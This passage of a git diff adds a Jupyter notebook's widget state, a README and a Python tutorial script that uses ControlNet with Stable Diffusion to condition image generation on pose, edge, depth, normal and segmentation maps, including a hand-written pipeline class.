"_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f4accfef05c24411bbd0fae1f7fbf7cb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_aafa0b9b142a44f79368f411710ea55c", + "placeholder": "​", + "style": "IPY_MODEL_2aeb8135603c46c1aa80e2c3580b897f", + "value": " 3.44G/3.44G [00:26<00:00, 237MB/s]" + } + }, + "f566fa59f127470087bb68beea6ee8fb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2fa71efbdefa4607b37d985b272fcffa", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e20f4ef3c100484cae5ba0a570be604c", + "value": 20 + } + }, + "f5e6af9d73ed4f3d9726bffba48540ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0a6ed397228f4a1fafe9dfecc4c39ef6", + "placeholder": "​", + "style": "IPY_MODEL_e2eaf1b78df545feb426d75ec556f8a3", + "value": " 541/541 [00:00<00:00, 13.4kB/s]" + } + }, + "f61abe945b124e31a72254333f26c785": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b1da7b0efaaf4db4a7660bc5457f2bfa", + "IPY_MODEL_3e55680d33db47099479572d0c8915f2", + "IPY_MODEL_c48ca8b557154fac885edaebc4879321" + ], + "layout": "IPY_MODEL_d4c261dab25d405ba560d4626683bccb" + } + }, + "f66573653707458f80b29a40e1193d31": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f7dd7600e3374757bdb1dad3d2e29d4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dffc9bcfd178487e93b34f91eae3b8e8", + "IPY_MODEL_7016696c087c4b3d85d5928cca064add", + "IPY_MODEL_f4accfef05c24411bbd0fae1f7fbf7cb" + ], + "layout": "IPY_MODEL_941873b1d19b4c2da615ed461fc6cbc7" + } + }, + "f81e6ba8c0ee4d19afc1691be3650a94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e1877e0c82a1464597250ef0572d2679", + "placeholder": "​", + "style": "IPY_MODEL_3005ddef183645cbb3039da2a621ebf4", + "value": " 1.45G/1.45G [00:05<00:00, 196MB/s]" + } + }, + "f8b042b72ea1403284bc45b55cbfcdcf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5cbe59686c0d475a8e2274ffcb64d992", + "placeholder": "​", + "style": "IPY_MODEL_3bf3dd9f53354c758187674b5b1eac19", + "value": "100%" + } + }, + "f8dbc4c64a0d440e9660b0d7ef083b5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f92c9532d4644693831a67344d499ff5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c389029d6e9445febf2f623921140abe", + "placeholder": "​", + "style": "IPY_MODEL_9eda2eb5008b4f2d8269523ee5ce2ffe", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "f9f461994c7e41aba3124dd5ee0b1525": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fa4ce3277cce4064aaf40849870966c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3b2265f2c01844fb9c99e18c61344d69", + "placeholder": "​", + "style": "IPY_MODEL_e060cf453034447dba6af95a918e3092", + "value": " 547/547 [00:00<00:00, 7.59kB/s]" + } + }, + "fd3e1648c2b84f5f81cd7ee3d2fbc4c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fd444832eb3b4399946317b54b495d52": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "febabb96db10490f835e4c5f6512ea61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_834aa09c8e984c819849676acdf25dae", + "placeholder": "​", + "style": "IPY_MODEL_6224c6c1d4b145ed86564e7d62fbe4c2", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "ff1597bd843b4770b93ffa71f0b05da4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff464c023f0546209b15c44a39b4b75e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff535db7c20f4719820b0b483a3a41ff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ffd1b0965ac748a3857a947c94e192dc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/control-image-generation-with-controlnet/README.md b/machine-learning/control-image-generation-with-controlnet/README.md new file mode 100644 index 00000000..d7e237d6 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/README.md @@ -0,0 +1 @@ +# [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface) \ No newline at end of file diff --git a/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py new file mode 100644 index 00000000..55397665 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py @@ -0,0 +1,689 @@ +# %% +!pip install -qU xformers diffusers transformers accelerate + +# %% +!pip install -qU controlnet_aux +!pip install opencv-contrib-python + +# %% [markdown] +# # Open Pose + +# %% +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from controlnet_aux import OpenposeDetector +from diffusers.utils import load_image +from tqdm import tqdm +from torch import autocast + +# %% +# load the openpose model +openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet') + +# load the controlnet for openpose +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-openpose", torch_dtype=torch.float16 +) + +# define stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# Remove if you do not have xformers installed +# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers +# for installation instructions +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg") +image_input + +# %% +image_pose = openpose(image_input) +image_pose + +# %% +image_output = pipe("A professional photograph of a male fashion model", image_pose, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Custom implementation + +# %% +class ControlNetDiffusionPipelineCustom: + """custom implementation of the ControlNet Diffusion Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + controlnet, + scheduler, + image_processor, + control_image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.controlnet = controlnet + self.image_processor = image_processor + self.control_image_processor = control_image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, + num_channels_latents, + height // 8, + width // 8)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale=7.5): + """denoises latents from noisy latent to a meaningful latent as conditioned by controlnet""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + control_model_input = latents + controlnet_prompt_embeds = prompt_embeds + + # get output from the control net blocks + down_block_res_samples, mid_block_res_sample = self.controlnet( + control_model_input, + t, + encoder_hidden_states=controlnet_prompt_embeds, + controlnet_cond=controlnet_image, + conditioning_scale=1.0, + return_dict=False, + ) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + down_block_additional_residuals=down_block_res_samples, + mid_block_additional_residual=mid_block_res_sample, + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def prepare_controlnet_image(self, + image, + height, + width): + """preprocesses the controlnet image""" + + # process the image + image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32) + # send image to CUDA + image = image.to(self.device) + # repeat the image for classifier free guidance + image = torch.cat([image] * 2) + return image + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=7.5, + height=512, width=512): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # prepare image for controlnet + controlnet_image = self.prepare_controlnet_image(image, height, width) + height, width = controlnet_image.shape[-2:] + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.unet.config.in_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well) +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +controlnet = pipe.controlnet +scheduler = pipe.scheduler +image_processor = pipe.image_processor +control_image_processor = pipe.control_image_processor + +# %% +custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor) + +# %% +# sample image 1 +images_custom = custom_pipe("a fashion model wearing a beautiful dress", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image 2 +images_custom = custom_pipe("A male fashion model posing in a museum", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image with a different prompt +images_custom = custom_pipe("A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD", image_pose, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% + + +# %% [markdown] +# # Canny + +# %% +import cv2 +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +import numpy as np +from diffusers.utils import load_image + +# %% +# load the controlnet model for canny edge detection +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-canny", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png") +image_input = np.array(image_input) + +Image.fromarray(image_input) + +# %% +# define parameters from canny edge detection +low_threshold = 100 +high_threshold = 200 + +# do canny edge detection +image_canny = cv2.Canny(image_input, low_threshold, high_threshold) + +# convert to PIL image format +image_canny = image_canny[:, :, None] +image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2) +image_canny = Image.fromarray(image_canny) + +image_canny + +# %% +image_output = pipe("bird", image_canny, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("a cute blue bird with colorful aesthetic feathers", image_canny, num_inference_steps=20).images[0] +image_output + +# %% + + +# %% [markdown] +# # Depth + +# %% +from transformers import pipeline +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from PIL import Image +import numpy as np +import torch +from diffusers.utils import load_image + +# %% +# load the depth estimator model +depth_estimator = pipeline('depth-estimation') + +# load the controlnet model for depth estimation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-depth", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png") +image_input + +# %% +# get depth estimates +image_depth = depth_estimator(image_input)['depth'] + +# convert to PIL image format +image_depth = np.array(image_depth) +image_depth = image_depth[:, :, None] +image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2) +image_depth = Image.fromarray(image_depth) + +image_depth + +# %% +image_output = pipe("Darth Vader giving lecture", image_depth, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine", image_depth, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Normal + +# %% +from PIL import Image +from transformers import pipeline +import numpy as np +import cv2 +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from diffusers.utils import load_image + +# %% +# load the Dense Prediction Transformer (DPT) model for getting normal maps +depth_estimator = pipeline("depth-estimation", model ="Intel/dpt-hybrid-midas") + +# load the controlnet model for normal maps +controlnet = ControlNetModel.from_pretrained( + "fusing/stable-diffusion-v1-5-controlnet-normal", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg") +image_input + +# %% +# do all the preprocessing to get the normal image +image = depth_estimator(image_input)['predicted_depth'][0] + +image = image.numpy() + +image_depth = image.copy() +image_depth -= np.min(image_depth) +image_depth /= np.max(image_depth) + +bg_threhold = 0.4 + +x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3) +x[image_depth < bg_threhold] = 0 + +y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3) +y[image_depth < bg_threhold] = 0 + +z = np.ones_like(x) * np.pi * 2.0 + +image = np.stack([x, y, z], axis=2) +image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5 +image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8) +image_normal = Image.fromarray(image) + +image_normal + +# %% +image_output = pipe("A colorful butterfly sitting on apples", image_normal, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A beautiful design", image_normal, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Segmentation + +# %% +from transformers import AutoImageProcessor, UperNetForSemanticSegmentation +from PIL import Image +import numpy as np +import torch +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from diffusers.utils import load_image + +# %% +# load the image processor and the model for doing segmentation +image_processor = AutoImageProcessor.from_pretrained("openmmlab/upernet-convnext-small") +image_segmentor = UperNetForSemanticSegmentation.from_pretrained("openmmlab/upernet-convnext-small") + +# load the controlnet model for semantic segmentation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-seg", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +# define color palette that is used by the semantic segmentation models + +palette = np.asarray([ + [0, 0, 0], + [120, 120, 120], + [180, 120, 120], + [6, 230, 230], + [80, 50, 50], + [4, 200, 3], + [120, 120, 80], + [140, 140, 140], + [204, 5, 255], + [230, 230, 230], + [4, 250, 7], + [224, 5, 255], + [235, 255, 7], + [150, 5, 61], + [120, 120, 70], + [8, 255, 51], + [255, 6, 82], + [143, 255, 140], + [204, 255, 4], + [255, 51, 7], + [204, 70, 3], + [0, 102, 200], + [61, 230, 250], + [255, 6, 51], + [11, 102, 255], + [255, 7, 71], + [255, 9, 224], + [9, 7, 230], + [220, 220, 220], + [255, 9, 92], + [112, 9, 255], + [8, 255, 214], + [7, 255, 224], + [255, 184, 6], + [10, 255, 71], + [255, 41, 10], + [7, 255, 255], + [224, 255, 8], + [102, 8, 255], + [255, 61, 6], + [255, 194, 7], + [255, 122, 8], + [0, 255, 20], + [255, 8, 41], + [255, 5, 153], + [6, 51, 255], + [235, 12, 255], + [160, 150, 20], + [0, 163, 255], + [140, 140, 140], + [250, 10, 15], + [20, 255, 0], + [31, 255, 0], + [255, 31, 0], + [255, 224, 0], + [153, 255, 0], + [0, 0, 255], + [255, 71, 0], + [0, 235, 255], + [0, 173, 255], + [31, 0, 255], + [11, 200, 200], + [255, 82, 0], + [0, 255, 245], + [0, 61, 255], + [0, 255, 112], + [0, 255, 133], + [255, 0, 0], + [255, 163, 0], + [255, 102, 0], + [194, 255, 0], + [0, 143, 255], + [51, 255, 0], + [0, 82, 255], + [0, 255, 41], + [0, 255, 173], + [10, 0, 255], + [173, 255, 0], + [0, 255, 153], + [255, 92, 0], + [255, 0, 255], + [255, 0, 245], + [255, 0, 102], + [255, 173, 0], + [255, 0, 20], + [255, 184, 184], + [0, 31, 255], + [0, 255, 61], + [0, 71, 255], + [255, 0, 204], + [0, 255, 194], + [0, 255, 82], + [0, 10, 255], + [0, 112, 255], + [51, 0, 255], + [0, 194, 255], + [0, 122, 255], + [0, 255, 163], + [255, 153, 0], + [0, 255, 10], + [255, 112, 0], + [143, 255, 0], + [82, 0, 255], + [163, 255, 0], + [255, 235, 0], + [8, 184, 170], + [133, 0, 255], + [0, 255, 92], + [184, 0, 255], + [255, 0, 31], + [0, 184, 255], + [0, 214, 255], + [255, 0, 112], + [92, 255, 0], + [0, 224, 255], + [112, 224, 255], + [70, 184, 160], + [163, 0, 255], + [153, 0, 255], + [71, 255, 0], + [255, 0, 163], + [255, 204, 0], + [255, 0, 143], + [0, 255, 235], + [133, 255, 0], + [255, 0, 235], + [245, 0, 255], + [255, 0, 122], + [255, 245, 0], + [10, 190, 212], + [214, 255, 0], + [0, 204, 255], + [20, 0, 255], + [255, 255, 0], + [0, 153, 255], + [0, 41, 255], + [0, 255, 204], + [41, 0, 255], + [41, 255, 0], + [173, 0, 255], + [0, 245, 255], + [71, 0, 255], + [122, 0, 255], + [0, 255, 184], + [0, 92, 255], + [184, 255, 0], + [0, 133, 255], + [255, 214, 0], 